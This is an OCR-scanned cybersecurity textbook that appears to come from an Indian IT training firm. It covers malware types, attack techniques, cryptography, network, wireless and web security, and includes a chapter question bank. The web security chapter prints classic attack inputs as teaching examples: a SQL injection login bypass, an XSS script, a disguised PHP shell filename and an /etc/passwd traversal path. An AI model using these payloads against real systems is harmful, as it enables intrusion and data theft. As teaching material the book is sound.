If aliens ever invade Earth and study our digital behavior, the first thing they’ll probably
askiis:
“Why do these humans use ‘password123’ to protect their entire financial life?”

Seriously, the most common passwords in the world every year are still things like
123456, qwerty, or even just the word password. Imagine locking your front door with a
super high-tech lock and then leaving the key under the doormat with a note that says:
“Dear burglar, here itis.” That’s basically what weak passwords do.

And when IT tells people to “use a strong password,” they get creative: Password123!.
Genius—hackers will never guess that exclamation mark, right?

Phishing Fun

Phishing emails are another comedy goldmine. Hackers send you messages like:
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e “Dear Customer, your bank account has been compromised. Please click this
suspicious link immediately!”

e Or, “Congratulations! You’ve just won a free trip to Mars. Just send us your credit
card number for rocket fuel.”

The funniest part? People do click on them. If hackers are evil fishermen, humans are...
very hungry fish. Some people don’t just take the bait, they season it, cook it, and serve
it back with fries.

Grandma vs. Hackers

Never underestimate grandmothers online. Some hackers think they can trick your
grandma with a fake email, but they don’t know who they’re dealing with. Grandma has
30 WhatsApp groups, a chain mail army, and the ability to forward fake news faster
than any worm or trojan ever could. If malware spread like grandma’s morning jokes, the
internet would’ve collapsed years ago.

The Wi-Fi Struggle

Another funny scene: people who try to “hack” Wi-Fi. Not with tools or exploits, but by
standing in the kitchen, holding their phone at a 45-degree angle, whispering: “Please,
just one more bar.”

Some people rename their Wi-Fi networks with a sense of humor:
o “Pretty Fly for a Wi-Fi”
e “LAN of Milk and Honey”
e Orthe best one: “Hack Me If You Can.”

Hackers love that last one. Challenge accepted.

Antivirus Logic

Have you noticed how some people treat antivirus software like a lucky charm? They
install one free antivirus in 2009, never update it, and proudly say: “Don’t worry, I'm
safe.” That’s like putting a 10-year-old band-aid on a gunshot wound.

And when malware actually strikes? Instead of calling IT, they try the oldest trick in the
book:

“Did you try turning it off and on again?”

(If that worked on ransomware, the world would be a safer place.)

Pg.33 www.technoglobe.co.in



Oxford University Awarded

techneGizbe®

Detivering Excellence Since 2007

Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

Hackers vs. Humans

Let’s be honest—hackers are dangerous, but sometimes humans are their own worst
enemy.

e Hackers spend months creating sophisticated exploits.
e Humans fall for: “Click here to see who viewed your profile!”

It’s not even a fair fight. If cybersecurity were a movie, hackers would be James Bond...
and the average user would be the guy who slips on a banana peel in the opening
credits.

Final Laugh Before the Storm

Cybersecurity can be stressful, but humor keeps us sane. At the end of the day, hackers
are people too—and sometimes, they laugh at our mistakes more than their own
success. As we move on to Chapter 6, remember: malware is scary, attacks are serious,
but the funniest security breach will always be... the human behind the keyboard.

So grab a snack, chuckle at your last “forgot my password” moment, and get ready.
From here on, the jokes stop—because malware definitely isn’t funny.

WELCOMEBACK

.
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Chapter 6: Malware and Cyber Attacks

Introduction

Malware and cyber attacks are
two of the most significant
concerns in the field of
cybersecurity. Malware refers to
malicious software designed to
infiltrate, damage, or steal from
computer systems without the

user’s consent. Cyber attacks, on
the other hand, encompass the broader strategies and techniques that
threat actors employ to exploit vulnerabilities, compromise confidentiality,
integrity, or availability of systems.

This chapter provides a comprehensive look at malware categories,
attack techniques, infection vectors, real-world case studies, and
defense mechanisms. By the end, readers should understand not only
what malware is, but also how it spreads, how attackers operate, and how
organizations can defend against it.

6.1 What is Malware?

Malware, short for malicious software, is any code or program created with
the intent to harm or exploit. Unlike normal software, which benefits users,
malware is specifically designed to serve the attacker’s goals.

Core Characteristics of Malware
« Covert operation: Hides its presence (rootkits, stealth viruses).
« Persistence: Maintains long-term control over systems.

« Polymorphism: Ability to change code signatures to evade antivirus
detection.
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« Payload delivery: Executes malicious actions like encryption, data
theft, or system sabotage.

Malware may target:
« End-users (ransomware, spyware).
« Enterprises (worms, backdoors).

o Critical infrastructure (ICS malware like Stuxnet).

6.2 Types of Malware

1. Viruses

« Attach themselves to files and replicate
when the file runs.

» Spread via removable media, infected
software, or email attachments.

« Example: The Melissa Virus (1999) spread via Microsoft Word
macros, shutting down email servers worldwide.

. 2. Worms

. Self-replicating, spread without human
intervention.

. Exploit vulnerabilities in network

protocols.

. Example: The Morris Worm (1988), one
of the first worms, infected 10% of the internert.

3. Trojans

. Masquerade as legitimate software but
secretly execute malicious activity.

. Often used as backdoors to install additional
malware.
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« Example: Zeus Trojan (2007) stole banking credentials and caused
billions in losses.

4. Ransomware

» Encrypts victim’s files and demands
ransom (usually in cryptocurrency).

« Modern ransomware often includes
double extortion (steal + encrypt data).

o Example: WannaCry (2017), exploiting
the EternalBlue vulnerability, infected
230,000+ systems worldwide.

5. Spyware
. Monitors user activity, such as
A keystrokes, browsing, or login data.
‘o0
WJ . Often bundled with free software.
1 ||
- ' . Example: FinFisher, commercial
o spyware used in government surveillance.

6. Adware
. Displays intrusive ads, sometimes
leading to malicious websites.
' . Though not always dangerous, it
‘“W;AHE compromises privacy and slows systems.

Pg.37 www.technoglobe.co.in



Oxford University Awarded

techneGizbe®

Detivering Excellence Since 2007

Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

7. Rootkits

H\\ \ r {/H « Hide malicious processes, files, or registry
L J

keys.

« Operate at the kernel or firmware level,
making detection difficult.

« Example: The Sony BMG Rootkit scandal
(2005) where DRM software installed hidden
processes.

8. Botnets

« Networks of infected devices
controlled remotely by attackers.

« Oftenrented out for DDoS attacks or
spam campaigns.

« Example: Mirai Botnet (2016) hijacked
loT devices, launching massive DDoS
attacks.

6.3 Malware Distribution Techniques
Attackers use creative and evolving methods to spread malware:

« Phishing Emails: Attachments disguised as invoices, resumes, or
links.

« Drive-by Downloads: Visiting compromised websites triggers
automatic malware download.

« USB/Removable Media: Auto-run malware spreads via infected
flash drives.
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- Software Cracks/Pirated Apps: Hidden malware bundled with free
software.

o Exploiting Vulnerabilities: Automated worms spread through
unpatched systems.

« Social Engineering: Convincing users to install malware voluntarily
(fake antivirus).

6.4 Cyber Attack Techniques (Deep Dive)

1. Phishing and Spear Phishing
o Bulk phishing vs. highly targeted spear phishing.
« Often combined with fake login pages.

o Defense: Awareness training, email filtering, multi-factor
authentication.

2. SQL Injection (SQLi)

« Attacker manipulates SQL queries in a website’s input field.

« Can extract databases or escalate privileges.

« Example: Major breaches of credit card databases due to SQLi.
3. Cross-Site Scripting (XSS)

« Injecting malicious scripts into websites.

« Can steal session cookies or redirect users.
4. Denial of Service (DoS/DDoS)

o Overwhelming a server with traffic.

o Botnets are commonly used.

« Example: GitHub was hit with the largest DDoS attack in 2018 (1.3
Tbps).
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5. Password Attacks
« Brute Force: Trying all possible combinations.
« Dictionary Attack: Trying common words/phrases.

o Credential Stuffing: Using leaked usernames/passwords from other
breaches.

6. Man-in-the-Middle (MITM)
« Intercepting communications between two systems.
« Often executed on unsecured Wi-Fi.
o Tools: Ettercap, Wireshark.
7. Zero-Day Exploits
o Exploiting vulnerabilities unknown to vendors.

o Highlyvaluable in underground markets.

6.5 Case Studies in Malware and Attacks
1. Stuxnet (2010):
o First known cyber weapon.
o Targeted Iranian nuclear facilities, sabotaging centrifuges.
o Spread via USB drives and exploited multiple zero-days.
2. NotPetya (2017):
o Disguised as ransomware but designed for destruction.
o Paralyzed global companies like Maersk and FedEx.
3. SolarWinds Hack (2020):
o Supply chain attack.

o Malicious code inserted into SolarWinds software updates,
affecting 18,000 organizations.
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6.6 The Lifecycle of a Cyber Attack

1.

o o A~ WO DN

Reconnaissance - attacker gathers intelligence (scanning, open-
source info).

Weaponization — creating the malware or exploit.
Delivery — sending malware via phishing, USB, or exploit.
Exploitation — vulnerability is triggered.

Installation — backdoor/rootkit installed.

Command & Control (C2) - attacker communicates with
compromised system.

Action on Objectives — data theft, sabotage, or extortion.

6.7 Defending Against Malware and Attacks

Endpoint Protection: Antivirus, EDR (CrowdStrike, SentinelOne).
Network Security: Firewalls, IDS/IPS.

Patch Management: Timely updates.

User Awareness Training: Reduce phishing success rates.
Incident Response Plans: Structured recovery from attacks.

Threat Intelligence: Monitoring latest malware trends.

6.8 Future Trends in Malware and Attacks
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Al-powered Malware: Adapts to defenses in real time.
Fileless Malware: Resides in memory, evades detection.

Ransomware-as-a-Service (RaaS): Attackers rent out ransomware
kits.
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« loT Attacks: Exploiting smart devices with poor security.

 Deepfake & Social Engineering: Using Al-generated voices/videos
for scams.

Summary

Malware and cyber attacks are constantly evolving. From viruses and
worms to ransomware and APTs, attackers employ a mix of technical
exploits and human manipulation. Defense requires a layered strategy,
combining technical safeguards (firewalls, EDR, SIEM), human factors
(training, awareness), and organizational processes (patching, incident
response).

Understanding malware behavior, attack techniques, and case studies
equips cybersecurity professionals with the knowledge to anticipate and
defend against emerging threats.

Cyber Fact:

Did you know the very first computer virus, called
Creeper, was created in 1971—not to steal data, but
as an experiment? It simply displayed the message:
“I’'m the Creeper, catch me if you can!” This
harmless program gave birth to the world of
malware, which today causes billions of dollars in
damages annually.
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Question Bank (Chapters 1-6)

Chapter 1: Introduction to Cybersecurity (15 Questions)
1. Define cybersecurity in your own words.
2. What are the three core principles of the CIA triad?

3. Which principle of the CIA triad ensures that only authorized users
can access information?

4. State one real-world example of a cybersecurity breach.
5. What s the difference between a threat and a vulnerability?

6. Multiple Choice: Cybersecurity primarily deals with protecting:
a) Hardware only
b) Software only
c) Information and systems
d) None of the above

7. True/False: Cybersecurity is only important for large companies.
8. Explain the difference between IT security and cybersecurity.
9. What s an attack surface?

10. Name two reasons why cybersecurity is critical in today’s
digital world.

11. Fillin the blank: The process of identifying, analyzing, and
addressing risks is called

12. What is the difference between passive and active cyber
threats?

13. Which sector is most vulnerable to cyber attacks: healthcare,
agriculture, or manufacturing? Why?

14. True/False: Cybersecurity is a one-time setup process.

15. Write a short note on the importance of awareness in
cybersecurity.
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Chapter 2: Basics of Computer Networking (15 Questions)

16.
17.

18.

19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.

Pg.44

Define a computer network.

What is the difference between LAN and WAN?

Multiple Choice: Which device directs data packets between
networks?
a) Switch
b) Router
c) Hub
d) Bridge

Explain the client-server model.

What is an IP address? Give an example.
Name any two network topologies.

What is the main function of DNS?

Which protocol is used to send emails?

State the difference between TCP and UDP.
Fillin the blank: HTTP works on port number ___
What is a MAC address?

Explain the concept of bandwidth.

True/False: IPv6 addresses are 64-bit in length.
Why is subnetting important in networking?

Draw and label a simple network diagram with 2 PCs and 1
router.
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Chapter 3: Security Concepts and Principles (15 Questions)

31. What is authentication?

32. Give two examples of something you know, something you
have, and something you are (authentication factors).

33. Multiple Choice: Which of the following is an example of multi-
factor authentication?
a) Password only
b) Password + OTP
c) PIN only
d) Username only

34. Explain the difference between identification and
authorization.

35. What is non-repudiation in cybersecurity?

36. Define encryption in one sentence.

37. Which principle ensures that users have only the access they
need?

38. True/False: Hashing can be reversed to obtain the original
message.

39. Fillin the blank: A is a set of rules that controls incoming

and outgoing network traffic.

40. Why is auditing important in cybersecurity?

41. What is least privilege?

42. State one advantage and one disadvantage of using biometrics.
43. What is an access control list (ACL)?

44. Short Answer: Explain confidentiality with an example.

45. Explain the principle of defense-in-depth.
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Chapter 4: Cyber Threats and Vulnerabilities (15 Questions)

46. Define the term “cyber threat.”
47. Differentiate between internal and external threats.
48. Multiple Choice: A disgruntled employee deleting company

data is an example of:
a) Insider threat

b) Malware

c) Phishing

d) Vulnerability

49. What is social engineering?

50. Give one real-world example of a vulnerability that led to a
breach.

51. Explain the difference between zero-day and known

vulnerabilities.

52. True/False: Human error is one of the biggest causes of
security breaches.

58. What is a threat actor?

54. Name any two types of hackers.

55. What is the difference between black hat and white hat
hackers?

56. Explain the concept of an Advanced Persistent Threat (APT).

57. Fillin the blank: A scan is used to identify weaknesses in
a system.

58. Short Answer: What is the difference between vulnerability and
exploit?

59. Why are loT devices often targeted by hackers?

60. Explain why patch management is important.
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Chapter 5: Security Tools and Defenses (15 Questions)

61. What is the purpose of a firewall?
62. Multiple Choice: Which tool is used to detect suspicious
activity on a network?
a) IDS
b) VPN
c) Router
d) Switch
63. Define antivirus software.
64. What is the difference between IDS and IPS?
65. Explain the role of a SIEM system.
66. True/False: AVPN encrypts internet traffic between the user

and the destination.

67. What is penetration testing?

68. Fillinthe blank: A_____is a secure method for remote login to
systems.

69. List two advantages of using a proxy server.

70. What is digital forensics?

71. Explain honeypots in cybersecurity.

72. What is the difference between symmetric and asymmetric

encryption?

73. Name one commonly used security framework or standard.
74. What is endpoint protection?
75. State one limitation of using only antivirus as defense.

Chapter 6: Malware and Cyber Attacks (25 Questions)
76. Define malware.

77. Differentiate between viruses and worms.
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Multiple Choice: Ransomware typically:
a) Encrypts files

)
b)
)
)

c
d) Deletes operating systems instantly

Steals money directly from banks
Monitors keystrokes

Give an example of a famous ransomware attack.
What is a Trojan horse?

Define spyware.

Explain what a botnet is.

True/False: Worms require user action to spread.

Fillin the blank: The 2010 malware attack targeting Iran’s
nuclear facilities was called

What is the difference between adware and spyware?
Explain how phishing works.

What is spear phishing?

What is a Denial-of-Service attack?

Multiple Choice: A zero-day exploit means:
a) The exploit is patched within one day

)
b) The vulnerability is unknown to the vendor

) It only lasts 24 hours

)

C
d) It cannot be fixed
Explain SQL Injection in simple terms.
What is cross-site scripting (XSS)?
Define “payload” in the context of malware.
What is a rootkit?
Give one example of a famous botnet.
What is the lifecycle of a cyber attack? (Name main stages)

True/False: Fileless malware can exist only in RAM.
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97. What is the role of Command and Control (C2) servers in
attacks?
98. Why are humans often called the “weakest link” in

cybersecurity?

99. Explain the concept of ransomware double extortion.

100. Suggest two best practices to defend against malware.

101. Differentiate between symmetric and asymmetric encryption
with examples.

102. Explain the difference between white-hat, black-hat, and grey-

hat hackers.
108. What are the key differences between phishing and spear-

phishing?

104. Describe the concept of “Zero Trust Security” and why it’s
important.

105. List and explain any three layers of the OSI model relevant to
cybersecurity.

106. What are cookies in web browsers, and how can they pose
security risks?

107. Describe the working of a VPN and its role in securing online
communications.

108. What is a brute-force attack, and how can it be prevented?

109. Explain the concept of digital signatures and their role in data
integrity.

110. Discuss the importance of incident response plansin an
organization.

111. What is social engineering, and why is it often more effective
than technical attacks?

112. Define denial-of-service (DoS) and distributed denial-of-

service (DDoS) attacks with examples.

113. What are digital certificates, and how do they help in securing
communications?

114. Explain the role of penetration testing in strengthening an
organization’s cybersecurity posture.

115. What are supply chain attacks, and why are they becoming a
major concern in cybersecurity?
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Chapter 7: Cryptography and Data Protection

In today’s interconnected world, data flows constantly through networks,
cloud services, and devices. Protecting this data is no longer optional—it’s
critical. Cryptography and data protection provide the foundation to defend
against cyber threats, ensuring that information remains confidential,
intact, and verifiable.

7.1 The Foundations of Cryptography

Cryptography is the science of encoding and securing information. At its
core, cryptography transforms readable data (plaintext) into an unreadable
form (ciphertext) using mathematical algorithms. Its primary goals are:

1. Confidentiality - Preventing unauthorized access.

2. Integrity — Detecting tampering or alterations.

3. Authentication — Ensuring identities of entities.

4. Non-repudiation - Preventing denial of actions or communications.

Cryptography relies heavily on mathematics, particularly number theory,
prime factorization, discrete logarithms, and modular arithmetic. These
form the backbone of modern cryptosystems.

7.2 Types of Cryptography

7.2.1 Symmetric Key Cryptography
« Concept: Uses the same key for encryption and decryption.
« Advantages: Fast and efficient; ideal for large datasets.

« Disadvantages: Key distribution is a major challenge—both sender
and receiver must securely share the key.

« Common Algorithms:
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o AES (Advanced Encryption Standard): Supports 128, 192, and
256-bit keys. Highly secure and widely used for government
and enterprise data.

o DES/3DES: Older standard, less secure today due to short key
lengths.

o Blowfish / Twofish: Alternative symmetric ciphers, efficient for
software implementations.

Example Workflow:

1.

2
3.
4

Alice generates a secret key.

. She encrypts the message using AES.

Bob decrypts the ciphertext with the same key.

. Ifthe key is intercepted, confidentiality is lost—highlighting the

importance of secure key exchange.

7.2.2 Asymmetric Key Cryptography

Pg.51

Concept: Uses a public key for encryption and a private key for
decryption.

Advantages: Solves the key distribution problem. Only the private
key must be kept secret.

Disadvantages: Slower than symmetric algorithms; computationally
intensive.

Common Algorithms:

o RSA (Rivest-Shamir-Adleman): Security based on prime
factorization.

o ECC (Elliptic Curve Cryptography): Security with smaller
keys, efficient for mobile and loT devices.

o DSA (Digital Signature Algorithm): Primarily used for
authentication and non-repudiation.
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Practical Use Case: Secure messaging applications like Signal use a
combination of asymmetric cryptography (for key exchange) and symmetric
cryptography (for message encryption).

7.2.3 Hash Functions

o Purpose: Produce a fixed-length string (hash) from input data;
designed to be irreversible.

o Properties:
1. Deterministic: Same input always produces the same hash.
2. lIrreversible: Cannot recover original data from hash.

3. Collision-resistant: Two different inputs should not produce
the same hash.

o Popular Hash Algorithms: MD5 (deprecated), SHA-1 (deprecated),
SHA-256, SHA-3.

« Applications: Password storage, integrity verification, blockchain.

7.3 Data Protection Techniques

Cryptography alone is not enough; data protection involves a combination
of strategies.

7.3.1 Encryption at Rest
« Protects stored data on disks, databases, or cloud services.

« Examples: AES-encrypted database, full disk encryption (BitLocker,
FileVault).

7.3.2 Encryption in Transit
« Secures data while it moves through networks.
e Protocols: TLS/SSL, HTTPS, SFTP, VPN tunnels.

7.3.3 Digital Signatures
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o Ensures authenticity and integrity.
« Combines hashing and asymmetric cryptography.
o Use Case: Software signing prevents malware distribution.
7.3.4 Key Management
o Centralto any cryptographic system.
« Best Practices:
o Rotate keys regularly.
o Use hardware security modules (HSMs).
o Avoid storing keys in plaintext.
7.3.5 Multi-factor Encryption

« Combines several cryptographic layers (e.g., disk encryption + file-
level encryption + secure cloud storage).

« Provides defense-in-depth, reducing single points of failure.

7.4 Modern Cryptography Challenges

1. Quantum Computing Threats
Algorithms like RSA and ECC may become vulnerable to quantum
attacks (Shor’s algorithm). Post-quantum cryptography (lattice-
based, code-based) is under research.

2. Side-Channel Attacks
Attackers exploit implementation flaws, not the algorithm itself, e.g.,
power analysis or timing attacks.

3. Key Leakage
Poor key management remains the most common failure in

cryptography.
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7.5 Practical Implementation Example

Scenario: You want to securely store user passwords.

1.

2
3.
4

Use a strong hash function (e.g., SHA-256).

. Apply salt (random value) to each password before hashing.

Store only the salted hash.

. During login, hash the input password with the same salt and

compare with stored hash.

This prevents attackers from easily reversing the passwords, even if the

database is breached.

7.6 Emerging Trends in Data Protection

1.

Homomorphic Encryption - Allows computation on encrypted data
without decryption.

2. Zero-Knowledge Proofs — Verify information without revealing it.
3. Blockchain for Integrity — Ensures tamper-proof records in
decentralized systems.
4. Privacy-Enhancing Computation —- Combines encryption,
anonymization, and secure computation to protect sensitive data in
Al and analytics.
7.7 Key Takeaways
« Cryptography is the foundation of data protection but must be
combined with proper practices and management.
« Symmetric, asymmetric, and hashing algorithms each serve specific
purposes.
o Modern threats like quantum computing and side-channel attacks
require forward-looking strategies.
« Strong data protection involves encryption at rest, in transit, digital
signatures, and secure key management.
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Chapter 8: Network Security

What is Network Security?

Network Access Attack Surface
Control (NAC) Management

Antivirus &

3 Sandboxi
Network Security ke

‘.._..-.......

Web and DNS Remote Access
Filtering VPNs

4

Intrusion Prevention
Systems (IPS) amn

8.1 Introduction to Network Security

Network security is one of the most critical aspects of modern
cybersecurity. It involves protecting the infrastructure, communication
channels, devices, and services that make up a network. Without security,
malicious actors can eavesdrop on communications, disrupt services, or
steal sensitive information.

From home Wi-Fi networks to global corporate infrastructures, security
is necessary to ensure smooth and safe digital operations. Organizations
also need to comply with regulations such as GDPR, HIPAA, and PCI-DSS,
which mandate secure handling of data in transit.
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8.2 Goals of Network Security

1. Confidentiality - Prevent unauthorized disclosure of data.

o Example: Using encryption (SSL/TLS) to secure online banking
sessions.

2. Integrity — Ensure data is not altered during transmission.

o Example: Using hash functions and checksums to verify file
downloads.

3. Availability — Keep services accessible to authorized users.

o Example: Using load balancers and DDoS protection to
prevent downtime.

4. Authentication —Validate user and device identities.

o Example: Implementing two-factor authentication (2FA) for
VPN logins.

5. Non-repudiation - Provide proof of actions or communications.

o Example: Digital signatures in secure email communication.

8.3 Common Network Threats
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Eavesdropping (Sniffing): Attackers capture unencrypted traffic
using tools like Wireshark.

IP Spoofing: Pretending to be another device by faking IP addresses.

ARP Spoofing: Redirecting traffic by sending false ARP messages on
LANSs.

Man-in-the-Middle (MITM): Intercepting communications between
two parties.

Denial-of-Service (DoS/DDoS): Flooding a target system with traffic
to overload it.

Session Hijacking: Taking over an authenticated user’s session.
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« Rogue Access Points: Unauthorized Wi-Fi hotspots tricking users to
connect.

« Insider Threats: Employees misusing their access privileges.

8.4 Network Security Devices and Tools
1. Firewalls
« Control the flow of traffic between trusted and untrusted networks.

« Canbe hardware-based (Cisco ASA, Palo Alto) or software-based
(iptables, Windows Firewall).

o Types:
o Packet-Filtering Firewall - Filters based on IP, port, protocol.
o Stateful Inspection Firewall - Tracks the state of connections.

o Next-Generation Firewall (NGFW) - Includes intrusion
prevention, application awareness, and deep packet
inspection.

2. Intrusion Detection and Prevention Systems (IDS/IPS)
o IDS: Detects suspicious activity and raises alerts.
« |IPS: Detects and actively blocks malicious activity.
o Tools: Snort, Suricata, Cisco FirePOWER.
3. Virtual Private Networks (VPNs)
o Encrypt traffic between devices and networks.
o Types:
o Remote Access VPN - For employees working from home.
o Site-to-Site VPN - Connects two office networks securely.
o Protocols: IPSec, SSL VPN, OpenVPN.

4. Network Access Control (NAC)
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Ensures that only authenticated, compliant devices can connect.

Example: Preventing an unpatched laptop from connecting to the
corporate LAN.

5. Proxy Servers

Act as intermediaries between clients and the internet.

Uses: Content filtering, caching, anonymity.

8.5 Security Protocols in Networking

SSL/TLS (Secure Sockets Layer/Transport Layer Security): Used
for HTTPS, email, VolP.

IPSec (Internet Protocol Security): Secures IP packets for VPNs.
SSH (Secure Shell): Provides secure remote access to servers.

WPA3 (Wi-Fi Protected Access 3): Latest Wi-Fi encryption standard,
stronger than WPA2.

RADIUS/TACACS+: Authentication protocols for network devices.

8.6 Best Practices for Network Security

1.
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Defense in Depth — Use multiple layers of protection (firewalls + IDS
+ VPN).

. Patch Management - Regularly update routers, switches, and

servers.

. Access Control - Apply the principle of least privilege.

Segmentation - Divide networks into VLANSs to contain attacks.

. Monitoring & Logging — Use SIEM tools (Splunk, ELK Stack) to

analyze traffic.

. Incident Response — Have a clear playbook for DDoS, malware, or

insider threats.
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7. User Awareness Training — Teach staff to recognize phishing and
unsafe practices.

8.7 Real-World Case Study: The Mirai Botnet Attack (2016)

In 2016, the Mirai Botnet infected thousands of ol devices such as
cameras and routers, turning them into an army of bots. The botnet
launched a massive DDoS attack against DNS provider Dyn, which
disrupted major websites including Twitter, Netflix, GitHub, and Reddit.

Lesson Learned: Weak passwords and unsecured loT devices can
compromise even the strongest network defenses.

8.8 Network Security Architecture Example
A secure enterprise network typically includes:
« Perimeter Firewall - Filtering external traffic.
« DMZ (Demilitarized Zone) — Hosting public servers (web, mail).
« Internal Firewalls — Separating sensitive zones (finance, HR).
« IDS/IPS Systems — Monitoring suspicious activities.
« VPN Gateways - Secure access for remote employees.

« Network Monitoring Tools — Collecting logs and analyzing
anomalies.

8.9 Summary

Network security is the first line of defense in cybersecurity. By
understanding threats, deploying the right tools (firewalls, IDS/IPS, VPNs),
applying best practices, and staying proactive, organizations can build
resilient and secure networks.
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Chapter 9: Wireless Security

Wireless Security
® WPA/WPA2
® 54/128 bit WEP Encryption
® MAC Address Blocking
e Hidden SSID

' ©® 802.1 X Authentication

RADIUS
‘ WPA2
Keyl.AB312 PSK:cfgs0ail2

WPA/802.1X

9.1 Introduction

Wireless networks have revolutionized the way we connect, from home Wi-
Fi to large-scale enterprise wireless infrastructures. But with convenience
comes risk. Unlike wired networks, wireless signals travel through the air,
making them more vulnerable to eavesdropping, unauthorized access,
and interference.

9.2 Why Wireless Security Matters

« Open Airwaves: Attackers don’t need physical access—just
proximity.

« loT Devices: Many are poorly secured and can be entry points.
« BYOD Policies: Employees bring their own devices, creating risks.

« Public Wi-Fi: Airports, cafés, and hotels often lack strong security.

Pg.60 www.technoglobe.co.in



Oxford University Awarded

techneGizbe®

Detivering Excellence Since 2007

Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

9.3 Common Wireless Threats

1.

Eavesdropping: Attackers use sniffing tools to capture unencrypted
traffic.

Rogue Access Points: Unauthorized Wi-Fi hotspots created to trick
users.

Evil Twin Attacks: Malicious APs mimic legitimate Wi-Fi to steal
credentials.

Wi-Fi Jamming/Denial of Service: Attackers flood wireless
frequencies with noise.

. Man-in-the-Middle (MITM): Intercepting communication between

devices.

. WEP Cracking: Exploiting outdated encryption protocols like WEP.

Bluetooth Attacks (Bluejacking, Bluesnarfing): Exploiting short-
range wireless.

9.4 Wireless Security Standards

WEP (Wired Equivalent Privacy): Weak and outdated—easily
cracked.

WPA (Wi-Fi Protected Access): Introduced TKIP encryption; stronger
than WEP.

WPAZ2: Uses AES encryption; widely used but vulnerable to KRACK
attacks.

WPAS: Latest standard with improved security, resistant to brute-
force.

9.5 Securing Wireless Networks

1.
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Strong Encryption: Always use WPA3 or at least WPA2 with AES.
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. Disable WPS (Wi-Fi Protected Setup): Vulnerable to brute-force PIN

attacks.

Use Hidden SSIDs and MAC Filtering: Adds another layer of
obscurity.

Regular Firmware Updates: Patch vulnerabilities in routers and APs.
Segmentation: Keep guest Wi-Fi separate from corporate networks.
Two-Factor Authentication: Enforce 2FA for enterprise Wi-Fi logins.

VPN Use: Secure communication on public Wi-Fi networks.

9.5 Securing Wireless Networks

1.

2.

N o o A

Strong Encryption: Always use WPA3 or at least WPA2 with AES.

Disable WPS (Wi-Fi Protected Setup): Vulnerable to brute-force PIN
attacks.

Use Hidden SSIDs and MAC Filtering: Adds another layer of
obscurity.

Regular Firmware Updates: Patch vulnerabilities in routers and APs.
Segmentation: Keep guest Wi-Fi separate from corporate networks.
Two-Factor Authentication: Enforce 2FA for enterprise Wi-Fi logins.

VPN Use: Secure communication on public Wi-Fi networks.

9.7 Best Practices for Enterprises
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Implement 802.1X authentication with RADIUS.
Use certificate-based authentication instead of pre-shared keys.
Deploy wireless intrusion prevention systems (WIPS).

Conduct regular penetration testing and audits of wireless
networks.
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« Train employees about risks of connecting to unknown Wi-Fi
networks.

9.8 Case Study: The Marriott Wi-Fi Breach

In 2014, attackers compromised Marriott’s Wi-Fi network, stealing guest
information and monitoring internet traffic. The lack of segmentation and
poor encryption made it easier for attackers.

Lesson: Even global organizations can suffer if wireless networks are not
properly secured.

9.9 Summary

Wireless security is crucial because signals are broadcast openly, making
them an easy target for hackers. By using strong encryption standards
(WPA3), disabling insecure features, and adopting enterprise-grade
protections, individuals and organizations can minimize wireless threats.
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Chapter 10: Web Security

10.1 Introduction

Web applications are everywhere: online banking, social media, shopping
platforms, e-learning systems, and government portals. However, because
web apps are public-facing and accessible worldwide, they are among the
most common targets for cyberattacks.

A single vulnerability in a web application can expose millions of user
records, cause reputational damage, and lead to severe financial losses.
This is why web security has become a cornerstone of cybersecurity.

10.2 Why Web Security is Critical

1. Data Sensitivity: Websites often process credit card information,
health records, and personal data.

2. Uptime and Reliability: Downtime due to attacks like DDoS leads to
financial loss.

3. Legal Compliance: Laws such as GDPR, PCI DSS, HIPAA mandate
secure handling of web data.

4. Reputation: A single breach can permanently damage customer
trust.

10.3 Common Web Threats (with Examples)
1. SQL Injection (SQLi)

» Attackers inject SQL commands into input fields (e.g., login forms) to
manipulate the backend database.

Example:
Username: ' OR'1'="1

Password: [blank]
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This tricks the system into bypassing authentication.

Famous Case: In 2008, Heartland Payment Systems suffered a breach
due to SQL injection, affecting 100 million credit cards.

2. Cross-Site Scripting (XSS)
« Attackers inject malicious JavaScript into web pages.
o« Example:
o <script>alert('Hacked!");</script>
o Stored XSS: Code saved in a database and shown to all users.
o Reflected XSS: Code executed via a crafted URL.

« Impact: Stealing cookies, hijacking sessions, or redirecting users.

3. Cross-Site Request Forgery (CSRF)
« Tricking users into making unwanted requests while logged in.

« Example: A hidden form on a malicious website forces users to
transfer money once they click.

4. Clickjacking
o Users are tricked into clicking invisible buttons.

« Example: Aninvisible “Buy” button overlaid on a video player.

5. File Upload Exploits

» Attackers upload a malicious file (e.g., a PHP shell) disguised as an
image.

« Example: shell.php.jpg could execute code on the server.
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6. Directory Traversal
« Attackers manipulate paths to access restricted files.

« Example:../../etc/passwd reveals Linux password files.

. Denial-of-Service (DoS/DDoS) on Websites
« Overwhelming web servers with massive traffic.

« Example: The GitHub DDoS attack in 2018 peaked at 1.35 Tbps.

8. Phishing Websites
« Fake sites imitate real ones to steal credentials.

« Example: A fake PayPal login page designed to capture usernames
and passwords.

10.4 Web Security Mechanisms
1. Input Validation & Sanitization
o Prevents SQLi and XSS by cleaning user inputs.
o Use prepared statements and parameterized queries.
2. Authentication & Session Management

o Use secure session IDs, timeouts, and multi-factor
authentication (MFA).

o Prevent session fixation attacks.
3. Encryption with HTTPS

o SSL/TLS ensures confidentiality of traffic.

o Certificates from trusted authorities verify authenticity.
4. Web Application Firewalls (WAFs)

o Filter malicious traffic before it reaches the web server.
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o Cloud-based WAFs: Cloudflare, AWS WAF.

5. Content Security Policy (CSP)

o Restricts which scripts can run on a website.

o Example: Only allow scripts from the same domain.

6. Secure Cookies & SameSite Attribute

o Prevents cookie theft and CSRF.

o Example:
o Set-Cookie: sessionid=xyz; HttpOnly; Secure; SameSite=Strict

10.5 Web Security Best Practices

Patch regularly: Update CMS (WordPress, Joomla), plugins, and
libraries.

Use rate limiting: Prevent brute-force login attempts.

Principle of Least Privilege: Database users should only have
necessary permissions.

Error handling: Don’t reveal database errors to users.

Log monitoring: Detect unusual patterns (e.g., repeated failed
logins).

Regular penetration testing: Identify vulnerabilities before attackers
do.

10.6 Web Security Tools
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Burp Suite: Advanced web vulnerability testing.

OWASP ZAP: Free scanner for developers.

Nikto: Scans for outdated software and misconfigurations.
Acunetix / Nessus: Automated vulnerability scanning.

ModSecurity (WAF): Open-source web firewall.
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10.7 OWASP Top 10 (2021 Edition)
1. Broken Access Control

